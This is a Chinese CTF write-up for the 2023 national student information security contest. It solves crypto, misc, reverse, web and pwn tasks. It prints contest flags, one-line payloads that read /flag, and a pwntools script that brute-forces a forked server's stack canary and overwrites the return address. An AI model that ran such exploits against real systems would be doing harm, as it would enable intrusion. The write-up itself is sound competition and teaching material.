2023全国大学生 信息安全竞赛创新实践能力赛 | 您所在的位置:网站首页 › 第七届全国大学生艾滋病知识竞赛什么时候开始的 › 2023全国大学生 信息安全竞赛创新实践能力赛 |
2023全国大学生 信息安全竞赛创新实践能力赛部分wp
战队 WRITEUP 解题过程 1. Crypto 基于国密 SM2 算法的密钥密文分发根据要求先随机生成 SM2 密钥对 A。用生成的私钥 A,对服务器发送的 randomString进行 SM2 解密, 用解密得到的十六字节随机数对服务器发送的 privatekey 采用 SM4ECB 解密, 解密得到的明文再对服务器发送的 quantumString 采用 SM2 解密,得到明文,上传至服务 器。服务器显示结果正确,服务器 search 得到flag。 cmd 全部过程如下 flag{f047cf8d-f24f-4d6c-ac3e-faccbd061a9b} 2. Misc 签到卡需要写 python3 命令来得到flag 文件 直接在打字机里输入 print(open(‘/flag’).read()),得到 flag flag{745d82f7-70c7-4827 -b28c-db65693fa3c1} 3. Crypto sign_in_passwd该题为换表 base64,flag 文件中的第二行为表: GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5 用 url 解码得到: GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5 用 cyberchef 在线网站解密,按照如下填写,将表填入 alphabet,换表 base64 解密 j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D 得到 flag flag{8e4b2888-6148-4003 -b725-3ff0d93a6ee4} 4. Misc 被加密的生产流量用 wireshark 打开文件, 过滤 modbus ,追踪 TCP 流,如下所示 拼接客户端字符,如下: Base32 解密,得到 flag flag{c1f_fi1g_1000} 5. Reverse babyRE打开网页https://snap.berkeley.edu 点击 Run Snap Now 在此网页打开题目所给的 xml 文件 在 secret 列表后添加显示变量 Secret 列表即为输入的 flag 列表前一个字符的 unicode 码与后一个字符的 unicode 码异或 得到的 显然 secret 列表第一个数为f 的 Unicode 码, 可以推出将第一个数与后一个数进行异或, 得 到的结果再与后一个数异或,这样进行下去,可以得到flag 写 python 脚本如下: secret=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7 ,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30] data = [] data.append(102) data.append(102^10) for i in range(2,len(secret)): data.append(data[-1]^secret[i]) for i in data: print(chr(i),end=“”) flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c} 标题6. Misc pyshell利用下划线输出是上次计算的结果,然后用这个方法拼接 open 读 flag flag{a3695970-195e-445a -aa39-2e06a5516967} 标题7. Web dumpitsqldump ,env 读取 flag{6ab5a49b-3bbd-4abb-8057-a5c9b0925a6e} PWN funcanary对 fork 而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然 canary 值也一样。那我们就可以逐位爆破因为canary 的值的第一个字节总是 0x00,所以 只需要爆破剩下的七个字节就可以了,每次尝试一个字节,如果程序顺利执行则不会出现 terminated\n” 根据上述构造 poc #!/bin/python3 from pwn import * from time import sleep context.arch = “amd64” io = remote(“47.94.206.10” ,18324) padding = b"a"*104 canary = b’\x00’ for i in range(7): for j in range(0x100): print(j) io.recvuntil(b"welcome\n") io.send(padding + canary + bytes(chr(j).encode())) ret = io.recvline() print(ret) if b"terminated\n" in ret: continue else: log.info(f"found one") break canary += bytes(chr(j).encode()) log.info(f"canary: {canary}“) io.recv() data = [”\x02", “\x12”,“\x22”, “\x32”, “\x42”, “\x52”, “\x62”, "\x72 “, “\x82”, “\x92”, “\xa2”] for i in range(10): io.send(padding + canary + b"a”*8 + “\x31” + data[i]) print(io.recv()) welcome flag{2b6b52df-9b68-4b33-873c-ef45481f0ddc} |
CopyRight 2018-2019 实验室设备网 版权所有 |